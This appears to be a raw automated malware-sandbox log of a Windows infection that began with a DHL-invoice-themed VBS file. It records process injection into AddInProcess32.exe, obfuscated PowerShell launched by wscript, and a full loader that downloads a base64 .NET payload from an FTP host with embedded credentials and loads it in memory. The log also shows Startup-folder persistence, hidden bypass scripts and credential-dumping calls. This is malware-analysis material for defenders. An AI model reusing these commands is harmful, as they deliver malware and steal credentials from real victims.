Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 477000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 478000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 479000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 47E000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 69F008
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 401000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 459000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 471000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 477000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 478000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 479000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 47E000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 7C3008

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: GetCurrentProcessId,OpenMutexA,CloseHandle,CreateThread,CloseHandle,Sleep,OpenProcess, svchost.exe

23_2_00412132

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 23_2_00419662 mouse_event,

23_2_00419662

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $qKKzc = 'Ow' + [char]66 + '9ADsAKQAgACkAIAAnAEQAMQ' + [char]66 + 'EACAARAAnACAALAAgAFgAUA' + [char]66 + 'VAHUAaAAkACAALAAgACcAaA' + [char]66 + '0AHQAcA' + [char]66 + 'zADoALwAvAGIAMg' + [char]66 + 'jAGEAcw' + [char]66 + 'lAC4AYw' + [char]66 + 'vAG0ALw' + [char]66 + 'jAGwAYQ' + [char]66 + 'zAHMALg' + [char]66 + '0AHgAdAAnACAAKAAgAF0AXQ' + [char]66 + 'bAHQAYw' + [char]66 + 'lAGoAYg' + [char]66 + 'vAFsAIAAsACAAbA' + [char]66 + 'sAHUAbgAkACAAKA' + [char]66 + 'lAGsAbw' + [char]66 + '2AG4ASQAuACkAIAAnAEkAVg' + [char]66 + 'GAHIAcAAnACAAKA' + [char]66 + 'kAG8AaA' + [char]66 + '0AGUATQ' + [char]66 + '0AGUARwAuACkAJwAxAHMAcw' + [char]66 + 'hAGwAQwAuADMAeQ' + [char]66 + 'yAGEAcg' + [char]66 + 'iAGkATA' + [char]66 + 'zAHMAYQ' + [char]66 + 'sAEMAJwAoAGUAcA' + [char]66 + '5AFQAdA' + [char]66 + 'lAEcALgApACAAWg' + [char]66 + 'jAEIAYw' + [char]66 + 'hACQAIAAoAGQAYQ' + [char]66 + 'vAEwALg' + [char]66 + 'uAGkAYQ' + [char]66 + 'tAG8ARA' + [char]66 + '0AG4AZQ' + [char]66 + 'yAHIAdQ' + [char]66 + 'DADoAOg' + [char]66 + 'dAG4AaQ' + [char]66 + 'hAG0Abw' + [char]66 + 'EAHAAcA' + [char]66 + '' + [char]66 + 'AC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwA7ACkAIAApACAAJw' + [char]66 + '' + [char]66 + 'ACcAIAAsACAAJwCTIToAkyEnACAAKA' + [char]66 + 'lAGMAYQ' + [char]66 + 'sAHAAZQ' + [char]66 + 'SAC4AZw' + [char]66 + 'TAHoAQw' + [char]66 + 'CAGwAJAAgACgAZw' + [char]66 + 'uAGkAcg' + [char]66 + '0AFMANAA2AGUAcw' + [char]66 + 'hAEIAbQ' + [char]66 + 'vAHIARgA6ADoAXQ' + [char]66 + '0AHIAZQ' + [char]66 + '2AG4Abw' + [char]66 + 'DAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'aAGMAQg' + [char]66 + 'jAGEAJAAgAF0AXQ' + [char]66 + 'bAGUAdA' + [char]66 + '5AEIAWwA7ACcAJQ' + [char]66 + 'JAGgAcQ' + [char]66 + 'SAFgAJQAnACAAPQAgAFgAUA' + [char]66 + 'VAHUAaAAkADsAKQAgAGcAUw' + [char]66 + '6AEMAQg' + [char]66 + 'sACQAIAAoAGcAbg' + [char]66 + 'pAHIAdA' + [char]66 + 'TAGQAYQ' + [char]66 + 'vAGwAbg' + [char]66 + '3AG8ARAAuAHoAeA' + [char]66 + 'iAGsAbQAkACAAPQAgAGcAUw' + [char]66 + '6AEMAQg' + [char]66 + 'sACQAOwA4AEYAVA' + [char]66 + 'VADoAOg' + [char]66 + 'dAGcAbg' + [char]66 + 'pAGQAbw' + [char]66 + 'jAG4ARQAuAHQAeA' + [char]66 + 'lAFQALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAUw' + [char]66 + 'bACAAPQAgAGcAbg' + [char]66 + 'pAGQAbw' + [char]66 + 'jAG4ARQAuAHoAeA' + [char]66 + 'iAGsAbQAkADsAKQ' + [char]66 + '0AG4AZQ' + [char]66 + 'pAGwAQw' + [char]66 + 'iAGUAVwAuAHQAZQ' + [char]66 + 'OACAAdA' + [char]66 + 'jAGUAag' + [char]66 + 'iAE8ALQ' + [char]66 + '3AGUATgAoACAAPQAgAHoAeA' + [char]66 + 'iAGsAbQAkADsAKQAoAGUAcw' + [char]66 + 'vAHAAcw' + [char]66 + 'pAGQALg' + [char]66 + '6AHgAYg' + [char]66 + 'rAG0AJAA7ACkAIAAnAHQAeA' + [char]66 + '0AC4AMQAwAEwATA' + [char]66 + 'EAC8AMQAwAC8Acg' + [char]66 + 'lAHQAcA' + [char]66 + '5AHIAYw' + [char]66 + 'wAFUALw' + [char]66 + 'yAGIALg' + [char]66 + 'tAG8AYwAuAHQAYQ' + [char]66 + 'yAGIAdg' + [ch	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $QDrfV = $host.Version.Major.Equals(2) ;if ( $QDrfV ) {$TZWou = [System.IO.Path]::GetTempPath();del ( $TZWou + '\Upwin.msu' );$rrlqq = 'https://drive.google.com/uc?export=download&id=';$qVgWD = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $qVgWD ) {$rrlqq = ($rrlqq + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$rrlqq = ($rrlqq + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$yzdrg = (New-Object Net.WebClient);$yzdrg.Encoding = [System.Text.Encoding]::UTF8;$yzdrg.DownloadFile($URLKB, $TZWou + '\Upwin.msu');$mcYDf = ('C:\Users\' + [Environment]::UserName );tkplB = ($TZWou + '\Upwin.msu'); powershell.exe wusa.exe tkplB /quiet /norestart ; Copy-Item 'C:\Users\user\Desktop\DHLShippingInvoicesAwbBL000000000102220242247.vbs' -Destination ( $mcYDf + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$lBCzSg;$mkbxz = (New-Object Net.WebClient);$mkbxz.Encoding = [System.Text.Encoding]::UTF8;$mkbxz.Credentials = new-object System.Net.NetworkCredential((-join [char[]](100,101,115,99,107,118,98,114,97,116,49)),(-join [char[]](66, 70, 119, 71 ,121 ,97 ,85,66,77,89,49,53,55,56,64,64 )));$lBCzSg = $mkbxz.DownloadString( 'ftp://desckvbrat1@ftp.desckvbrat.com.br/Upcrypter/01/DLL01.txt' );$mkbxz.dispose();$mkbxz = (New-Object Net.WebClient);$mkbxz.Encoding = [System.Text.Encoding]::UTF8;$lBCzSg = $mkbxz.DownloadString( $lBCzSg );$huUPX = 'C:\Users\user\Desktop\DHLShippingInvoicesAwbBL000000000102220242247.vbs';[Byte[]] $acBcZ = [System.Convert]::FromBase64String( $lBCzSg.Replace( '?:?' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $acBcZ ).GetType('ClassLibrary3.Class1').GetMethod( 'prFVI' ).Invoke( $null , [object[]] ( 'txt.ssalc/moc.esac2b//:sptth' , $huUPX , 'D D1D' ) );};"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\qkbrq.ps1' ";exit
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe /stext "C:\Users\user\AppData\Local\Temp\qpqzbrslzlqmxxqwczcuhtgf"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe /stext "C:\Users\user\AppData\Local\Temp\qpqzbrslzlqmxxqwczcuhtgf"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe /stext "C:\Users\user\AppData\Local\Temp\ajvsujdnntiralmilkxwkxswwkf"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe /stext "C:\Users\user\AppData\Local\Temp\lladutngjbaekramcnkpuknfxzxbri"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\qkbrq.ps1' ";exit
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\qkbrq.ps1' ";exit
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\qkbrq.ps1' ";exit
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $qkkzc = 'ow' + [char]66 + '9adsakqagackaiaanaeqamq' + [char]66 + 'eacaaraanacaalaagafgaua' + [char]66 + 'vahuaaaakacaalaagaccaaa' + [char]66 + '0ahqaca' + [char]66 + 'zadoalwavagiamg' + [char]66 + 'jageacw' + [char]66 + 'lac4ayw' + [char]66 + 'vag0alw' + [char]66 + 'jagwayq' + [char]66 + 'zahmalg' + [char]66 + '0ahgadaanacaakaagaf0axq' + [char]66 + 'bahqayw' + [char]66 + 'lagoayg' + [char]66 + 'vafsaiaasacaaba' + [char]66 + 'sahuabgakacaaka' + [char]66 + 'lagsabw' + [char]66 + '2ag4asqauackaiaanaekavg' + [char]66 + 'gahiacaanacaaka' + [char]66 + 'kag8aaa' + [char]66 + '0aguatq' + [char]66 + '0aguarwauackajwaxahmacw' + [char]66 + 'hagwaqwauadmaeq' + [char]66 + 'yageacg' + [char]66 + 'iagkata' + [char]66 + 'zahmayq' + [char]66 + 'saemajwaoaguaca' + [char]66 + '5afqada' + [char]66 + 'laecalgapacaawg' + [char]66 + 'jaeiayw' + [char]66 + 'hacqaiaaoagqayq' + [char]66 + 'vaewalg' + [char]66 + 'uagkayq' + [char]66 + 'tag8ara' + [char]66 + '0ag4azq' + [char]66 + 'yahiadq' + [char]66 + 'dadoaog' + [char]66 + 'dag4aaq' + [char]66 + 'hag0abw' + [char]66 + 'eahaaca' + [char]66 + '' + [char]66 + 'ac4abq' + [char]66 + 'lahqacw' + [char]66 + '5afmawwa7ackaiaapacaajw' + [char]66 + '' + [char]66 + 'accaiaasacaajwctitoakyenacaaka' + [char]66 + 'lagmayq' + [char]66 + 'sahaazq' + [char]66 + 'sac4azw' + [char]66 + 'tahoaqw' + [char]66 + 'cagwajaagacgazw' + [char]66 + 'uagkacg' + [char]66 + '0afmanaa2aguacw' + [char]66 + 'haeiabq' + [char]66 + 'vahiarga6adoaxq' + [char]66 + '0ahiazq' + [char]66 + '2ag4abw' + [char]66 + 'dac4abq' + [char]66 + 'lahqacw' + [char]66 + '5afmawwagad0aia' + [char]66 + 'aagmaqg' + [char]66 + 'jageajaagaf0axq' + [char]66 + 'baguada' + [char]66 + '5aeiawwa7accajq' + [char]66 + 'jaggacq' + [char]66 + 'safgajqanacaapqagafgaua' + [char]66 + 'vahuaaaakadsakqagagcauw' + [char]66 + '6aemaqg' + [char]66 + 'sacqaiaaoagcabg' + [char]66 + 'pahiada' + [char]66 + 'tagqayq' + [char]66 + 'vagwabg' + [char]66 + '3ag8araauahoaea' + [char]66 + 'iagsabqakacaapqagagcauw' + [char]66 + '6aemaqg' + [char]66 + 'sacqaowa4aeyava' + [char]66 + 'vadoaog' + [char]66 + 'dagcabg' + [char]66 + 'pagqabw' + [char]66 + 'jag4arqauahqaea' + [char]66 + 'lafqalg' + [char]66 + 'taguada' + [char]66 + 'zahkauw' + [char]66 + 'bacaapqagagcabg' + [char]66 + 'pagqabw' + [char]66 + 'jag4arqauahoaea' + [char]66 + 'iagsabqakadsakq' + [char]66 + '0ag4azq' + [char]66 + 'pagwaqw' + [char]66 + 'iaguavwauahqazq' + [char]66 + 'oacaada' + [char]66 + 'jaguaag' + [char]66 + 'iae8alq' + [char]66 + '3aguatgaoacaapqagahoaea' + [char]66 + 'iagsabqakadsakqaoaguacw' + [char]66 + 'vahaacw' + [char]66 + 'pagqalg' + [char]66 + '6ahgayg' + [char]66 + 'rag0ajaa7ackaiaanahqaea' + [char]66 + '0ac4amqawaewata' + [char]66 + 'eac8amqawac8acg' + [char]66 + 'lahqaca' + [char]66 + '5ahiayw' + [char]66 + 'wafualw' + [char]66 + 'yagialg' + [char]66 + 'tag8aywauahqayq' + [char]66 + 'yagiadg' + [ch
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "; $qdrfv = $host.version.major.equals(2) ;if ( $qdrfv ) {$tzwou = [system.io.path]::gettemppath();del ( $tzwou + '\upwin.msu' );$rrlqq = 'https://drive.google.com/uc?export=download&id=';$qvgwd = $env:processor_architecture.contains('64') ;if ( $qvgwd ) {$rrlqq = ($rrlqq + '1naqdnxigvi_q1rpkazftmygmaqtjxu42') ;}else {$rrlqq = ($rrlqq + '1g1jmxusx9mc9vmhvrjj2xofz3ak_clot') ;};$yzdrg = (new-object net.webclient);$yzdrg.encoding = [system.text.encoding]::utf8;$yzdrg.downloadfile($urlkb, $tzwou + '\upwin.msu');$mcydf = ('c:\users\' + [environment]::username );tkplb = ($tzwou + '\upwin.msu'); powershell.exe wusa.exe tkplb /quiet /norestart ; copy-item 'c:\users\user\desktop\dhlshippinginvoicesawbbl000000000102220242247.vbs' -destination ( $mcydf + '\appdata\roaming\microsoft\windows\start menu\programs\startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[system.net.servicepointmanager]::servercertificatevalidationcallback = {$true};[system.net.servicepointmanager]::securityprotocol = [system.net.securityprotocoltype]::tls12;$lbczsg;$mkbxz = (new-object net.webclient);$mkbxz.encoding = [system.text.encoding]::utf8;$mkbxz.credentials = new-object system.net.networkcredential((-join [char[]](100,101,115,99,107,118,98,114,97,116,49)),(-join [char[]](66, 70, 119, 71 ,121 ,97 ,85,66,77,89,49,53,55,56,64,64 )));$lbczsg = $mkbxz.downloadstring( 'ftp://desckvbrat1@ftp.desckvbrat.com.br/upcrypter/01/dll01.txt' );$mkbxz.dispose();$mkbxz = (new-object net.webclient);$mkbxz.encoding = [system.text.encoding]::utf8;$lbczsg = $mkbxz.downloadstring( $lbczsg );$huupx = 'c:\users\user\desktop\dhlshippinginvoicesawbbl000000000102220242247.vbs';[byte[]] $acbcz = [system.convert]::frombase64string( $lbczsg.replace( '?:?' , 'a' ) );[system.appdomain]::currentdomain.load( $acbcz ).gettype('classlibrary3.class1').getmethod( 'prfvi' ).invoke( $null , [object[]] ( 'txt.ssalc/moc.esac2b//:sptth' , $huupx , 'd d1d' ) );};"
Source: unknown	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c start /min "" powershell.exe -windowstyle hidden -executionpolicy bypass -command ". 'c:\users\user\appdata\roaming\program rules nvideo\update drivers nvideo\update drivers nvideo\update drivers nvideo\qkbrq.ps1' ";exit
Source: unknown	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c start /min "" powershell.exe -windowstyle hidden -executionpolicy bypass -command ". 'c:\users\user\appdata\roaming\program rules nvideo\update drivers nvideo\update drivers nvideo\update drivers nvideo\qkbrq.ps1' ";exit
Source: unknown	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c start /min "" powershell.exe -windowstyle hidden -executionpolicy bypass -command ". 'c:\users\user\appdata\roaming\program rules nvideo\update drivers nvideo\update drivers nvideo\update drivers nvideo\qkbrq.ps1' ";exit
Source: unknown	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c start /min "" powershell.exe -windowstyle hidden -executionpolicy bypass -command ". 'c:\users\user\appdata\roaming\program rules nvideo\update drivers nvideo\update drivers nvideo\update drivers nvideo\qkbrq.ps1' ";exit
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $qkkzc = 'ow' + [char]66 + '9adsakqagackaiaanaeqamq' + [char]66 + 'eacaaraanacaalaagafgaua' + [char]66 + 'vahuaaaakacaalaagaccaaa' + [char]66 + '0ahqaca' + [char]66 + 'zadoalwavagiamg' + [char]66 + 'jageacw' + [char]66 + 'lac4ayw' + [char]66 + 'vag0alw' + [char]66 + 'jagwayq' + [char]66 + 'zahmalg' + [char]66 + '0ahgadaanacaakaagaf0axq' + [char]66 + 'bahqayw' + [char]66 + 'lagoayg' + [char]66 + 'vafsaiaasacaaba' + [char]66 + 'sahuabgakacaaka' + [char]66 + 'lagsabw' + [char]66 + '2ag4asqauackaiaanaekavg' + [char]66 + 'gahiacaanacaaka' + [char]66 + 'kag8aaa' + [char]66 + '0aguatq' + [char]66 + '0aguarwauackajwaxahmacw' + [char]66 + 'hagwaqwauadmaeq' + [char]66 + 'yageacg' + [char]66 + 'iagkata' + [char]66 + 'zahmayq' + [char]66 + 'saemajwaoaguaca' + [char]66 + '5afqada' + [char]66 + 'laecalgapacaawg' + [char]66 + 'jaeiayw' + [char]66 + 'hacqaiaaoagqayq' + [char]66 + 'vaewalg' + [char]66 + 'uagkayq' + [char]66 + 'tag8ara' + [char]66 + '0ag4azq' + [char]66 + 'yahiadq' + [char]66 + 'dadoaog' + [char]66 + 'dag4aaq' + [char]66 + 'hag0abw' + [char]66 + 'eahaaca' + [char]66 + '' + [char]66 + 'ac4abq' + [char]66 + 'lahqacw' + [char]66 + '5afmawwa7ackaiaapacaajw' + [char]66 + '' + [char]66 + 'accaiaasacaajwctitoakyenacaaka' + [char]66 + 'lagmayq' + [char]66 + 'sahaazq' + [char]66 + 'sac4azw' + [char]66 + 'tahoaqw' + [char]66 + 'cagwajaagacgazw' + [char]66 + 'uagkacg' + [char]66 + '0afmanaa2aguacw' + [char]66 + 'haeiabq' + [char]66 + 'vahiarga6adoaxq' + [char]66 + '0ahiazq' + [char]66 + '2ag4abw' + [char]66 + 'dac4abq' + [char]66 + 'lahqacw' + [char]66 + '5afmawwagad0aia' + [char]66 + 'aagmaqg' + [char]66 + 'jageajaagaf0axq' + [char]66 + 'baguada' + [char]66 + '5aeiawwa7accajq' + [char]66 + 'jaggacq' + [char]66 + 'safgajqanacaapqagafgaua' + [char]66 + 'vahuaaaakadsakqagagcauw' + [char]66 + '6aemaqg' + [char]66 + 'sacqaiaaoagcabg' + [char]66 + 'pahiada' + [char]66 + 'tagqayq' + [char]66 + 'vagwabg' + [char]66 + '3ag8araauahoaea' + [char]66 + 'iagsabqakacaapqagagcauw' + [char]66 + '6aemaqg' + [char]66 + 'sacqaowa4aeyava' + [char]66 + 'vadoaog' + [char]66 + 'dagcabg' + [char]66 + 'pagqabw' + [char]66 + 'jag4arqauahqaea' + [char]66 + 'lafqalg' + [char]66 + 'taguada' + [char]66 + 'zahkauw' + [char]66 + 'bacaapqagagcabg' + [char]66 + 'pagqabw' + [char]66 + 'jag4arqauahoaea' + [char]66 + 'iagsabqakadsakq' + [char]66 + '0ag4azq' + [char]66 + 'pagwaqw' + [char]66 + 'iaguavwauahqazq' + [char]66 + 'oacaada' + [char]66 + 'jaguaag' + [char]66 + 'iae8alq' + [char]66 + '3aguatgaoacaapqagahoaea' + [char]66 + 'iagsabqakadsakqaoaguacw' + [char]66 + 'vahaacw' + [char]66 + 'pagqalg' + [char]66 + '6ahgayg' + [char]66 + 'rag0ajaa7ackaiaanahqaea' + [char]66 + '0ac4amqawaewata' + [char]66 + 'eac8amqawac8acg' + [char]66 + 'lahqaca' + [char]66 + '5ahiayw' + [char]66 + 'wafualw' + [char]66 + 'yagialg' + [char]66 + 'tag8aywauahqayq' + [char]66 + 'yagiadg' + [ch	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "; $qdrfv = $host.version.major.equals(2) ;if ( $qdrfv ) {$tzwou = [system.io.path]::gettemppath();del ( $tzwou + '\upwin.msu' );$rrlqq = 'https://drive.google.com/uc?export=download&id=';$qvgwd = $env:processor_architecture.contains('64') ;if ( $qvgwd ) {$rrlqq = ($rrlqq + '1naqdnxigvi_q1rpkazftmygmaqtjxu42') ;}else {$rrlqq = ($rrlqq + '1g1jmxusx9mc9vmhvrjj2xofz3ak_clot') ;};$yzdrg = (new-object net.webclient);$yzdrg.encoding = [system.text.encoding]::utf8;$yzdrg.downloadfile($urlkb, $tzwou + '\upwin.msu');$mcydf = ('c:\users\' + [environment]::username );tkplb = ($tzwou + '\upwin.msu'); powershell.exe wusa.exe tkplb /quiet /norestart ; copy-item 'c:\users\user\desktop\dhlshippinginvoicesawbbl000000000102220242247.vbs' -destination ( $mcydf + '\appdata\roaming\microsoft\windows\start menu\programs\startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[system.net.servicepointmanager]::servercertificatevalidationcallback = {$true};[system.net.servicepointmanager]::securityprotocol = [system.net.securityprotocoltype]::tls12;$lbczsg;$mkbxz = (new-object net.webclient);$mkbxz.encoding = [system.text.encoding]::utf8;$mkbxz.credentials = new-object system.net.networkcredential((-join [char[]](100,101,115,99,107,118,98,114,97,116,49)),(-join [char[]](66, 70, 119, 71 ,121 ,97 ,85,66,77,89,49,53,55,56,64,64 )));$lbczsg = $mkbxz.downloadstring( 'ftp://desckvbrat1@ftp.desckvbrat.com.br/upcrypter/01/dll01.txt' );$mkbxz.dispose();$mkbxz = (new-object net.webclient);$mkbxz.encoding = [system.text.encoding]::utf8;$lbczsg = $mkbxz.downloadstring( $lbczsg );$huupx = 'c:\users\user\desktop\dhlshippinginvoicesawbbl000000000102220242247.vbs';[byte[]] $acbcz = [system.convert]::frombase64string( $lbczsg.replace( '?:?' , 'a' ) );[system.appdomain]::currentdomain.load( $acbcz ).gettype('classlibrary3.class1').getmethod( 'prfvi' ).invoke( $null , [object[]] ( 'txt.ssalc/moc.esac2b//:sptth' , $huupx , 'd d1d' ) );};"	Jump to behavior

Source: AddInProcess32.exe, 00000015.00000002.3074510288.0000000000F18000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \|Program Manager\|
Source: AddInProcess32.exe, 00000015.00000002.3074510288.0000000000F18000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager32\cmd.exeiF

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 21_2_10002933 cpuid

21_2_10002933

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: EnumSystemLocalesW,	23_2_0045201B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: EnumSystemLocalesW,	23_2_004520B6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	23_2_00452143
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: GetLocaleInfoW,	23_2_00452393
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: EnumSystemLocalesW,	23_2_00448484
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	23_2_004524BC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: GetLocaleInfoW,	23_2_004525C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	23_2_00452690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: GetLocaleInfoW,	23_2_0044896D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: GetLocaleInfoA,	23_2_0040F90C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	23_2_00451D58
